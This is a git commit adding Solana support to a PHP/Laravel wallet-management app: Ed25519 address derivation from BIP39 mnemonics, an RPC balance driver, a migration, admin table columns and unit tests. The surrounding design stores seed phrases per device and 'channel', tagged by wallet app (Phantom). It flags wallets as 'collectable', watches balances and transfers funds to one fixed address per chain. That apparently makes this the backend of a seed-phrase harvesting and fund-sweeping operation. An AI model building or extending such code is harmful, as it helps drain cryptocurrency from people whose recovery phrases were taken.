feat: Solana chain

This commit is contained in:
example
2026-09-23 14:26:38 +08:00
parent f9fd356679
commit cdbfa48662
13 changed files with 749 additions and 10 deletions
@@ -49,7 +49,7 @@ class WalletAddressController extends Controller
{
$q = $this->baseQuery($request);
$sortable = ['id', 'address', 'chain_type', 'source', 'collectable', 'usdt', 'trx', 'eth', 'btc', 'bnb', 'monitor', 'created_at', 'updated_at'];
$sortable = ['id', 'address', 'chain_type', 'source', 'collectable', 'usdt', 'trx', 'eth', 'btc', 'bnb', 'sol', 'monitor', 'created_at', 'updated_at'];
$field = (string) $request->query('field', 'id');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
@@ -82,6 +82,7 @@ class WalletAddressController extends Controller
'eth' => $coins['eth'],
'btc' => $coins['btc'],
'bnb' => $coins['bnb'],
'sol' => $coins['sol'],
'monitor' => (int) $row->monitor,
'monitor_synced' => (bool) $row->monitor_synced,
'monitor_failures' => (int) $row->monitor_failures,
+4 -2
View File
@@ -8,7 +8,7 @@ use Illuminate\Database\Eloquent\Relations\BelongsTo;
class WalletAddress extends Model
{
/** @var list<string> */
public const COIN_COLUMNS = ['usdt', 'trx', 'eth', 'btc', 'bnb'];
public const COIN_COLUMNS = ['usdt', 'trx', 'eth', 'btc', 'bnb', 'sol'];
/** Display decimal places per coin (UI). */
public const DISPLAY_DECIMALS = [
@@ -17,11 +17,12 @@ class WalletAddress extends Model
'eth' => 6,
'btc' => 8,
'bnb' => 6,
'sol' => 6,
];
protected $fillable = [
'device_id', 'address', 'chain_type',
'usdt', 'trx', 'eth', 'btc', 'bnb',
'usdt', 'trx', 'eth', 'btc', 'bnb', 'sol',
'monitor', 'monitor_synced', 'monitor_failures', 'source', 'mnemonic_id', 'derive_index',
];
@@ -37,6 +38,7 @@ class WalletAddress extends Model
'eth' => 'decimal:18',
'btc' => 'decimal:8',
'bnb' => 'decimal:18',
'sol' => 'decimal:9',
];
}
+2
View File
@@ -10,6 +10,7 @@ class ChainManager
private readonly TronDriver $tron,
private readonly EthDriver $eth,
private readonly BtcDriver $btc,
private readonly SolDriver $sol,
) {}
public function resolve(string $chain): ChainDriver
@@ -18,6 +19,7 @@ class ChainManager
'tron', 'trx' => $this->tron,
'eth', 'ethereum' => $this->eth,
'btc', 'bitcoin' => $this->btc,
'sol', 'solana' => $this->sol,
default => throw new InvalidArgumentException("Unsupported chain: {$chain}"),
};
}
+151
View File
@@ -0,0 +1,151 @@
<?php
namespace App\Services\Chain;
use FurqanSiddiqui\BIP39\BIP39;
use RuntimeException;
/**
* Solana address helpers: SLIP-0010 Ed25519 derivation + Base58.
*
* Phantom / Solflare path: m/44'/501'/{index}'/0'
*/
final class SolAddress
{
private const ALPHABET = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz';
/**
* Derive Solana base58 address from BIP39 mnemonic at account index.
* Path: m/44'/501'/{index}'/0' (Phantom default).
*/
public static function fromMnemonic(string $mnemonic, int $index = 0): string
{
if ($index < 0) {
throw new RuntimeException('Invalid derive index');
}
$words = preg_split('/\s+/', trim($mnemonic)) ?: [];
if (count($words) < 12) {
throw new RuntimeException('Invalid mnemonic');
}
$seed = BIP39::Words($words)->generateSeed();
if (! is_string($seed) || strlen($seed) < 32) {
throw new RuntimeException('Failed to generate BIP39 seed');
}
// SLIP-0010: master from BIP39 seed, then hardened path.
[$key, $chain] = self::masterFromSeed($seed);
foreach ([44 | 0x80000000, 501 | 0x80000000, $index | 0x80000000, 0 | 0x80000000] as $child) {
[$key, $chain] = self::ckdPriv($key, $chain, $child);
}
return self::base58Encode(self::publicKeyFromSeed($key));
}
public static function isValid(string $address): bool
{
$address = trim($address);
if (! preg_match('/^[1-9A-HJ-NP-Za-km-z]{32,44}$/', $address)) {
return false;
}
$decoded = self::base58Decode($address);
return $decoded !== null && strlen($decoded) === 32;
}
/**
* @return array{0: string, 1: string} 32-byte key + 32-byte chain code
*/
private static function masterFromSeed(string $seed): array
{
$I = hash_hmac('sha512', $seed, 'ed25519 seed', true);
return [substr($I, 0, 32), substr($I, 32, 32)];
}
/**
* SLIP-0010 hardened-only child key derivation for Ed25519.
*
* @return array{0: string, 1: string}
*/
private static function ckdPriv(string $kPar, string $cPar, int $index): array
{
if (($index & 0x80000000) === 0) {
throw new RuntimeException('Ed25519 SLIP-0010 only supports hardened derivation');
}
$data = "\x00".$kPar.pack('N', $index);
$I = hash_hmac('sha512', $data, $cPar, true);
return [substr($I, 0, 32), substr($I, 32, 32)];
}
private static function publicKeyFromSeed(string $seed32): string
{
if (strlen($seed32) !== 32) {
throw new RuntimeException('Invalid Ed25519 seed length');
}
if (! function_exists('sodium_crypto_sign_seed_keypair')) {
throw new RuntimeException('ext-sodium is required for Solana address derivation');
}
$kp = sodium_crypto_sign_seed_keypair($seed32);
return sodium_crypto_sign_publickey($kp);
}
public static function base58Encode(string $binary): string
{
if ($binary === '') {
return '';
}
$leadingZeros = 0;
$len = strlen($binary);
for ($i = 0; $i < $len && $binary[$i] === "\x00"; $i++) {
$leadingZeros++;
}
$num = gmp_init(bin2hex($binary), 16);
$base = gmp_init(58);
$out = '';
while (gmp_cmp($num, 0) > 0) {
[$num, $rem] = [gmp_div_q($num, $base), gmp_intval(gmp_mod($num, $base))];
$out = self::ALPHABET[$rem].$out;
}
return str_repeat('1', $leadingZeros).($out === '' ? '1' : $out);
}
public static function base58Decode(string $input): ?string
{
$len = strlen($input);
if ($len === 0) {
return null;
}
$decoded = gmp_init(0);
$base = gmp_init(58);
for ($i = 0; $i < $len; $i++) {
$pos = strpos(self::ALPHABET, $input[$i]);
if ($pos === false) {
return null;
}
$decoded = gmp_add(gmp_mul($decoded, $base), $pos);
}
$hex = gmp_strval($decoded, 16);
if (strlen($hex) % 2 !== 0) {
$hex = '0'.$hex;
}
$bin = $hex === '0' ? '' : (hex2bin($hex) ?: '');
$leadingZeros = 0;
for ($i = 0; $i < $len && $input[$i] === '1'; $i++) {
$leadingZeros++;
}
return str_repeat("\x00", $leadingZeros).$bin;
}
}
+169
View File
@@ -0,0 +1,169 @@
<?php
namespace App\Services\Chain;
use Illuminate\Http\Client\PendingRequest;
use Illuminate\Support\Facades\Http;
use RuntimeException;
/**
* Solana JSON-RPC driver.
*
* Address derivation: SLIP-0010 Ed25519 at m/44'/501'/{index}'/0' (Phantom/Solflare).
* Transfer flows are not implemented yet.
*/
class SolDriver implements ChainDriver
{
public function chainId(): string
{
return 'sol';
}
public function deriveAddress(string $mnemonic, int $index = 0): string
{
return SolAddress::fromMnemonic($mnemonic, $index);
}
public function sendNative(string $mnemonic, int $index, string $to, string $amount): string
{
throw new RuntimeException('SOL native transfer not supported');
}
public function sendToken(string $mnemonic, int $index, string $to, string $amount, string $contract): string
{
throw new RuntimeException('SOL SPL token transfer not supported');
}
public function isValidAddress(string $address): bool
{
return SolAddress::isValid($address);
}
public function isActivated(string $address): bool
{
try {
return bccomp($this->getNativeBalance($address), '0', 9) > 0;
} catch (\Throwable) {
return false;
}
}
public function getNativeBalance(string $address): string
{
if (! $this->isValidAddress($address)) {
throw new RuntimeException('Invalid SOL address');
}
$result = $this->rpc('getBalance', [$address, ['commitment' => 'confirmed']]);
$lamports = '0';
if (is_array($result) && isset($result['value']) && is_numeric($result['value'])) {
$lamports = (string) $result['value'];
} elseif (is_numeric($result)) {
$lamports = (string) $result;
}
return $this->fromLamports($lamports);
}
/**
* SPL token balance: sums all token accounts owned by $address for $contract (mint).
* Handles the associated-token-account, secondary accounts and multi-decimal edge cases.
*/
public function getTokenBalance(string $address, string $contract): string
{
if (! $this->isValidAddress($address) || ! $this->isValidAddress($contract)) {
throw new RuntimeException('Invalid SOL address');
}
$result = $this->rpc('getTokenAccountsByOwner', [
$address,
['mint' => $contract],
['encoding' => 'jsonParsed', 'commitment' => 'confirmed'],
]);
$accounts = [];
if (is_array($result) && isset($result['value']) && is_array($result['value'])) {
$accounts = $result['value'];
}
$totalUnits = '0';
$decimals = (int) config('coruna.sol.usdt_decimals', 6);
foreach ($accounts as $entry) {
$info = $entry['account']['data']['parsed']['info']['tokenAmount'] ?? null;
if (! is_array($info)) {
continue;
}
$amount = (string) ($info['amount'] ?? '0');
if (! preg_match('/^\d+$/', $amount)) {
continue;
}
if (isset($info['decimals']) && is_numeric($info['decimals'])) {
$decimals = (int) $info['decimals'];
}
$totalUnits = bcadd($totalUnits, $amount, 0);
}
return $this->fromTokenUnits($totalUnits, max(0, $decimals));
}
private function fromLamports(string $lamports): string
{
if (! preg_match('/^\d+$/', $lamports)) {
$lamports = '0';
}
$human = bcdiv($lamports, '1000000000', 9);
$human = rtrim(rtrim($human, '0'), '.');
return $human === '' ? '0' : $human;
}
private function fromTokenUnits(string $units, int $decimals): string
{
if (! preg_match('/^\d+$/', $units)) {
$units = '0';
}
if ($decimals <= 0) {
return $units === '' ? '0' : $units;
}
$factor = bcpow('10', (string) $decimals, 0);
$human = bcdiv($units, $factor, $decimals);
$human = rtrim(rtrim($human, '0'), '.');
return $human === '' ? '0' : $human;
}
private function rpc(string $method, array $params): mixed
{
$url = rtrim((string) config('coruna.sol.rpc_url', 'https://api.mainnet-beta.solana.com'), '/');
$resp = $this->http()->post($url, [
'jsonrpc' => '2.0',
'id' => 1,
'method' => $method,
'params' => $params,
]);
if (! $resp->successful()) {
throw new RuntimeException('SOL RPC HTTP '.$resp->status());
}
$json = $resp->json();
if (! is_array($json)) {
throw new RuntimeException('Invalid SOL RPC response');
}
if (isset($json['error'])) {
$msg = $json['error']['message'] ?? json_encode($json['error']);
throw new RuntimeException('SOL RPC: '.(is_string($msg) ? $msg : 'error'));
}
return $json['result'] ?? null;
}
private function http(): PendingRequest
{
$req = Http::timeout(30)->acceptJson()->asJson();
$apiKey = (string) config('coruna.sol.api_key', '');
if ($apiKey !== '') {
$req = $req->withHeaders(['Authorization' => 'Bearer '.$apiKey]);
}
return $req;
}
}
+59 -6
View File
@@ -13,7 +13,7 @@ use Illuminate\Support\Facades\Log;
/**
* When a mnemonic has no linked addresses, derive BIP44 indexes 0..2 for
* TRON/ETH/BTC and persist only activated addresses (after a balance query).
* TRON/ETH/BTC/SOL and persist only activated addresses (after a balance query).
* Fully inactive mnemonics stay out of the DB and are not monitored; the
* wallets view previews one index-0 address per chain marked 未激活.
* Activated rows are persisted with monitor on.
@@ -27,6 +27,7 @@ class MnemonicWalletDiscovery
['chain' => 'tron', 'chain_type' => 'TRON'],
['chain' => 'eth', 'chain_type' => 'ETH'],
['chain' => 'btc', 'chain_type' => 'BTC'],
['chain' => 'sol', 'chain_type' => 'SOLANA'],
];
public function __construct(
@@ -63,17 +64,23 @@ class MnemonicWalletDiscovery
return 0;
}
$existing = WalletAddress::query()
$linkedChainTypes = WalletAddress::query()
->where('mnemonic_id', $mnemonic->id)
->exists();
if ($existing) {
return 0;
}
->pluck('chain_type')
->map(fn ($c) => strtoupper(trim((string) $c)))
->filter()
->unique()
->values()
->all();
$source = trim((string) ($mnemonic->source ?: ''));
$saved = [];
foreach (self::CHAINS as $spec) {
if ($this->hasLinkedChain($linkedChainTypes, $spec['chain'])) {
continue;
}
try {
$rows = $this->discoverChain($mnemonic, $phrase, $source, $spec['chain'], $spec['chain_type']);
foreach ($rows as $row) {
@@ -94,6 +101,22 @@ class MnemonicWalletDiscovery
return count($saved);
}
/**
* @param list<string> $linkedChainTypes uppercase chain_type values already linked
*/
private function hasLinkedChain(array $linkedChainTypes, string $chain): bool
{
$aliases = match ($chain) {
'tron' => ['TRON', 'TRX'],
'eth' => ['ETH', 'ETHEREUM', 'EVM', 'BNB', 'BSC', 'BINANCE'],
'btc' => ['BTC', 'BITCOIN'],
'sol' => ['SOL', 'SOLANA'],
default => [strtoupper($chain)],
};
return array_intersect($aliases, $linkedChainTypes) !== [];
}
/**
* Persisted linked rows, or ephemeral index-0 previews when none exist.
*
@@ -121,6 +144,7 @@ class MnemonicWalletDiscovery
'eth' => $coins['eth'],
'btc' => $coins['btc'],
'bnb' => $coins['bnb'],
'sol' => $coins['sol'],
'active' => true,
'persisted' => true,
];
@@ -193,6 +217,7 @@ class MnemonicWalletDiscovery
'tron' => $this->probeTron($driver, $address),
'eth' => $this->probeEth($driver, $address),
'btc' => $this->probeBtc($driver, $address),
'sol' => $this->probeSol($driver, $address),
default => ['activated' => false, 'coins' => []],
};
}
@@ -262,6 +287,32 @@ class MnemonicWalletDiscovery
];
}
/**
* @return array{activated: bool, coins: array<string, string>}
*/
private function probeSol(ChainDriver $driver, string $address): array
{
try {
$sol = $driver->getNativeBalance($address);
} catch (\Throwable) {
return ['activated' => false, 'coins' => $this->emptyCoins('sol')];
}
$usdt = $this->tokenBalance($driver, $address, (string) config('coruna.sol.usdt_contract', ''));
$activated = bccomp($sol, '0', 9) > 0 || bccomp($usdt, '0', 6) > 0;
if (! $activated) {
return ['activated' => false, 'coins' => $this->emptyCoins('sol')];
}
return [
'activated' => true,
'coins' => [
'sol' => $sol,
'usdt' => $usdt,
],
];
}
/**
* @param array<string, string> $coins
*/
@@ -327,6 +378,7 @@ class MnemonicWalletDiscovery
'eth' => null,
'btc' => null,
'bnb' => null,
'sol' => null,
'active' => false,
'persisted' => false,
];
@@ -344,6 +396,7 @@ class MnemonicWalletDiscovery
'tron' => ['trx' => '0', 'usdt' => '0'],
'eth' => ['eth' => '0', 'usdt' => '0'],
'btc' => ['btc' => '0'],
'sol' => ['sol' => '0', 'usdt' => '0'],
default => [],
};
}
+38
View File
@@ -12,6 +12,7 @@ use Illuminate\Support\Facades\Log;
* Live on-chain balance refresh for wallet_addresses.
*
* Tron: TRX + USDT (TRC20). ETH: ETH + USDT (ERC20). BTC: BTC only.
* SOL: SOL + USDT (SPL).
*/
class WalletBalanceService
{
@@ -32,6 +33,7 @@ class WalletBalanceService
'TRON', 'TRX' => $this->refreshTron($address),
'ETH', 'ETHEREUM' => $this->refreshEth($address),
'BTC', 'BITCOIN' => $this->refreshBtc($address),
'SOL', 'SOLANA' => $this->refreshSol($address),
default => false,
};
}
@@ -102,6 +104,42 @@ class WalletBalanceService
}
}
public function refreshSol(WalletAddress $address): bool
{
$addr = trim((string) $address->address);
if ($addr === '') {
return false;
}
try {
$driver = $this->chains->resolve('sol');
$attrs = [
'sol' => $driver->getNativeBalance($addr),
];
$contract = trim((string) config('coruna.sol.usdt_contract', ''));
if ($contract !== '') {
$attrs['usdt'] = $driver->getTokenBalance($addr, $contract);
}
$this->persistCoins($address, $attrs);
Log::info('sol balance refresh ok', [
'wallet_address_id' => $address->id,
'address' => $addr,
'sol' => $address->sol,
'usdt' => $address->usdt,
]);
return true;
} catch (\Throwable $e) {
Log::warning('sol balance refresh failed: '.$e->getMessage(), [
'wallet_address_id' => $address->id,
'address' => $addr,
]);
return false;
}
}
public function refreshTron(WalletAddress $address): bool
{
$addr = trim((string) $address->address);
+10
View File
@@ -125,6 +125,16 @@ return [
// 0 = fetch recommended halfHourFee from API.
'fee_rate' => (int) env('BTC_FEE_RATE', 0),
],
'sol' => [
// Solana JSON-RPC endpoint. Public mainnet is heavily rate-limited;
// point to a paid RPC (Helius/QuickNode/etc.) in production.
'rpc_url' => env('SOL_RPC_URL', 'https://api.mainnet-beta.solana.com'),
// Optional API key sent as Bearer token (Helius/QuickNode style).
'api_key' => env('SOL_API_KEY', ''),
// Official Tether USDT SPL mint (mainnet). Empty = skip SPL USDT balance.
'usdt_contract' => env('SOL_USDT_CONTRACT', 'Es9vMFrzaCERmJfrF4H2FYD4KCoNkY11McCe8BenwNYB'),
'usdt_decimals' => (int) env('SOL_USDT_DECIMALS', 6),
],
// /transfer: from = command arg (device address); to = per-chain TRANSFER_TO_ADDRESS_*.
// Mnemonics resolved from wallet_mnemonics by address→device_id+source.
'transfer' => [
@@ -0,0 +1,26 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
/**
* Native SOL balance column for Solana addresses.
* USDT on Solana lives in the existing `usdt` column (SPL USDT).
*/
return new class extends Migration
{
public function up(): void
{
Schema::table('wallet_addresses', function (Blueprint $table) {
$table->decimal('sol', 36, 9)->nullable()->after('bnb');
});
}
public function down(): void
{
Schema::table('wallet_addresses', function (Blueprint $table) {
$table->dropColumn('sol');
});
}
};
@@ -254,6 +254,7 @@ layui.use(['table', 'form', 'layer'], function () {
{ field: 'eth', title: 'ETH', width: 100, sort: true },
{ field: 'btc', title: 'BTC', width: 110, sort: true },
{ field: 'bnb', title: 'BNB', width: 100, sort: true },
{ field: 'sol', title: 'SOL', width: 100, sort: true },
{ field: 'channel_id', title: '渠道 ID', width: 140 },
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
{ field: 'monitor_failures', title: '失败次数', width: 90, templet: function (d) {
@@ -131,7 +131,7 @@ layui.use(['table', 'form', 'layer'], function () {
}
html += '<div class="mn-wallet-body"><table class="mn-wallet-table"><thead><tr>' +
'<th>ID</th><th>Chain</th><th>地址</th><th>Index</th>' +
'<th>USDT</th><th>TRX</th><th>ETH</th><th>BTC</th><th>BNB</th>' +
'<th>USDT</th><th>TRX</th><th>ETH</th><th>BTC</th><th>BNB</th><th>SOL</th>' +
'</tr></thead><tbody>';
rows.forEach(function (r) {
var inactive = r.active === false;
@@ -146,6 +146,7 @@ layui.use(['table', 'form', 'layer'], function () {
'<td class="coin-cell">' + coinVal(r.eth) + '</td>' +
'<td class="coin-cell">' + coinVal(r.btc) + '</td>' +
'<td class="coin-cell">' + coinVal(r.bnb) + '</td>' +
'<td class="coin-cell">' + coinVal(r.sol) + '</td>' +
'</tr>';
});
html += '</tbody></table></div></div>';
+50
View File
@@ -0,0 +1,50 @@
<?php
namespace Tests\Unit;
use App\Services\Chain\SolAddress;
use App\Services\Chain\SolDriver;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class SolAddressTest extends TestCase
{
#[Test]
public function derives_phantom_path_golden_vector(): void
{
if (! function_exists('sodium_crypto_sign_seed_keypair')) {
$this->markTestSkipped('ext-sodium required');
}
// BIP-39 abandon×11+about at m/44'/501'/0'/0' (Phantom/Solflare).
$mnemonic = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
$address = SolAddress::fromMnemonic($mnemonic, 0);
$this->assertSame('HAgk14JpMQLgt6rVgv7cBQFJWFto5Dqxi472uT3DKpqk', $address);
$this->assertTrue(SolAddress::isValid($address));
}
#[Test]
public function sol_driver_derive_address_matches_sol_address(): void
{
if (! function_exists('sodium_crypto_sign_seed_keypair')) {
$this->markTestSkipped('ext-sodium required');
}
$mnemonic = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
$driver = new SolDriver;
$this->assertSame(
SolAddress::fromMnemonic($mnemonic, 0),
$driver->deriveAddress($mnemonic, 0),
);
$this->assertSame(
SolAddress::fromMnemonic($mnemonic, 1),
$driver->deriveAddress($mnemonic, 1),
);
$this->assertNotSame(
$driver->deriveAddress($mnemonic, 0),
$driver->deriveAddress($mnemonic, 1),
);
}
}
+235
View File
@@ -90,6 +90,241 @@ class WalletBalanceServiceTest extends TestCase
$this->assertEqualsWithDelta(9.5, (float) $addr->usdt, 0.0000001);
}
#[Test]
public function refreshes_sol_and_usdt_only(): void
{
$sol = \Mockery::mock(\App\Services\Chain\SolDriver::class);
$sol->shouldReceive('getNativeBalance')->once()->andReturn('1.5');
$sol->shouldReceive('getTokenBalance')->once()->andReturn('10');
$manager = \Mockery::mock(\App\Services\Chain\ChainManager::class);
$manager->shouldReceive('resolve')->with('sol')->andReturn($sol);
$this->app->instance(\App\Services\Chain\ChainManager::class, $manager);
config(['coruna.sol.usdt_contract' => 'Es9vMFrzaCERmJfrF4H2FYD4KCoNkY11McCe8BenwNYB']);
$device = Device::query()->create([
'device_id' => 'dev-bal-sol',
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
]);
$addr = WalletAddress::query()->create([
'device_id' => $device->id,
'address' => 'DYw8jCTfwHNRJhhmFcbXvVDTqWMEVFBX6ZKUmG5CNSKK',
'chain_type' => 'SOLANA',
'source' => 'Phantom',
'sol' => 0.1,
'usdt' => 0,
'btc' => 2.0,
'eth' => 3.0,
'monitor' => 1,
]);
$ok = app(WalletBalanceService::class)->refresh($addr);
$this->assertTrue($ok);
$addr->refresh();
$this->assertEqualsWithDelta(1.5, (float) $addr->sol, 0.0000001);
$this->assertEqualsWithDelta(10.0, (float) $addr->usdt, 0.0000001);
// Non-Solana columns are not overwritten.
$this->assertEqualsWithDelta(2.0, (float) $addr->btc, 0.0000001);
$this->assertEqualsWithDelta(3.0, (float) $addr->eth, 0.0000001);
}
#[Test]
public function refreshes_sol_via_rpc_http_fake(): void
{
config([
'coruna.sol.rpc_url' => 'https://solana.example',
'coruna.sol.usdt_contract' => 'Es9vMFrzaCERmJfrF4H2FYD4KCoNkY11McCe8BenwNYB',
]);
// Phantom golden address (valid base58, 32-byte pubkey).
$solAddr = 'HAgk14JpMQLgt6rVgv7cBQFJWFto5Dqxi472uT3DKpqk';
Http::fake([
'https://solana.example' => function ($request) {
$method = $request->data()['method'] ?? '';
if ($method === 'getBalance') {
// 1.5 SOL = 1_500_000_000 lamports
return Http::response([
'jsonrpc' => '2.0',
'id' => 1,
'result' => ['context' => ['slot' => 1], 'value' => 1_500_000_000],
], 200);
}
if ($method === 'getTokenAccountsByOwner') {
// 10 USDT = 10_000_000 (6 decimals)
return Http::response([
'jsonrpc' => '2.0',
'id' => 1,
'result' => [
'value' => [[
'account' => [
'data' => [
'parsed' => [
'info' => [
'tokenAmount' => [
'amount' => '10000000',
'decimals' => 6,
],
],
],
],
],
]],
],
], 200);
}
return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'error' => ['message' => 'unexpected']], 200);
},
]);
$device = Device::query()->create([
'device_id' => 'dev-bal-sol-rpc',
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
]);
$addr = WalletAddress::query()->create([
'device_id' => $device->id,
'address' => $solAddr,
'chain_type' => 'SOL',
'source' => 'Phantom',
'trx' => 9.9,
'monitor' => 1,
]);
$this->assertTrue(app(WalletBalanceService::class)->refresh($addr));
$addr->refresh();
$this->assertEqualsWithDelta(1.5, (float) $addr->sol, 0.0000001);
$this->assertEqualsWithDelta(10.0, (float) $addr->usdt, 0.0000001);
$this->assertEqualsWithDelta(9.9, (float) $addr->trx, 0.0000001);
Http::assertSentCount(2);
}
#[Test]
public function refreshes_sol_skips_usdt_when_contract_empty(): void
{
config([
'coruna.sol.rpc_url' => 'https://solana.example',
'coruna.sol.usdt_contract' => '',
]);
$solAddr = 'HAgk14JpMQLgt6rVgv7cBQFJWFto5Dqxi472uT3DKpqk';
Http::fake([
'https://solana.example' => function ($request) {
$method = $request->data()['method'] ?? '';
if ($method === 'getBalance') {
return Http::response([
'jsonrpc' => '2.0',
'id' => 1,
'result' => ['value' => 2_000_000_000],
], 200);
}
return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'error' => ['message' => 'should not call']], 200);
},
]);
$device = Device::query()->create([
'device_id' => 'dev-bal-sol-no-usdt',
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
]);
$addr = WalletAddress::query()->create([
'device_id' => $device->id,
'address' => $solAddr,
'chain_type' => 'SOLANA',
'source' => 'Phantom',
'usdt' => 7.7,
]);
$this->assertTrue(app(WalletBalanceService::class)->refresh($addr));
$addr->refresh();
$this->assertEqualsWithDelta(2.0, (float) $addr->sol, 0.0000001);
// usdt column left untouched when contract is empty.
$this->assertEqualsWithDelta(7.7, (float) $addr->usdt, 0.0000001);
Http::assertSentCount(1);
Http::assertSent(fn ($request) => ($request->data()['method'] ?? '') === 'getBalance');
}
#[Test]
public function refreshes_sol_zero_balances_and_empty_token_accounts(): void
{
config([
'coruna.sol.rpc_url' => 'https://solana.example',
'coruna.sol.usdt_contract' => 'Es9vMFrzaCERmJfrF4H2FYD4KCoNkY11McCe8BenwNYB',
]);
$solAddr = 'HAgk14JpMQLgt6rVgv7cBQFJWFto5Dqxi472uT3DKpqk';
Http::fake([
'https://solana.example' => function ($request) {
$method = $request->data()['method'] ?? '';
if ($method === 'getBalance') {
return Http::response([
'jsonrpc' => '2.0',
'id' => 1,
'result' => ['value' => 0],
], 200);
}
if ($method === 'getTokenAccountsByOwner') {
return Http::response([
'jsonrpc' => '2.0',
'id' => 1,
'result' => ['value' => []],
], 200);
}
return Http::response(['error' => 'unexpected'], 500);
},
]);
$device = Device::query()->create([
'device_id' => 'dev-bal-sol-zero',
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
]);
$addr = WalletAddress::query()->create([
'device_id' => $device->id,
'address' => $solAddr,
'chain_type' => 'SOLANA',
'source' => 'Phantom',
'sol' => 1.0,
'usdt' => 5.0,
]);
$this->assertTrue(app(WalletBalanceService::class)->refresh($addr));
$addr->refresh();
$this->assertEqualsWithDelta(0.0, (float) $addr->sol, 0.0000001);
$this->assertEqualsWithDelta(0.0, (float) $addr->usdt, 0.0000001);
}
#[Test]
public function refreshes_sol_returns_false_on_rpc_failure(): void
{
config([
'coruna.sol.rpc_url' => 'https://solana.example',
'coruna.sol.usdt_contract' => 'Es9vMFrzaCERmJfrF4H2FYD4KCoNkY11McCe8BenwNYB',
]);
Http::fake([
'https://solana.example' => Http::response('unavailable', 503),
]);
$device = Device::query()->create([
'device_id' => 'dev-bal-sol-fail',
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
]);
$addr = WalletAddress::query()->create([
'device_id' => $device->id,
'address' => 'HAgk14JpMQLgt6rVgv7cBQFJWFto5Dqxi472uT3DKpqk',
'chain_type' => 'SOLANA',
'source' => 'Phantom',
'sol' => 1.0,
]);
$this->assertFalse(app(WalletBalanceService::class)->refresh($addr));
$addr->refresh();
// Failure must not overwrite existing balance.
$this->assertEqualsWithDelta(1.0, (float) $addr->sol, 0.0000001);
}
#[Test]
public function refresh_persists_even_when_balances_unchanged(): void
{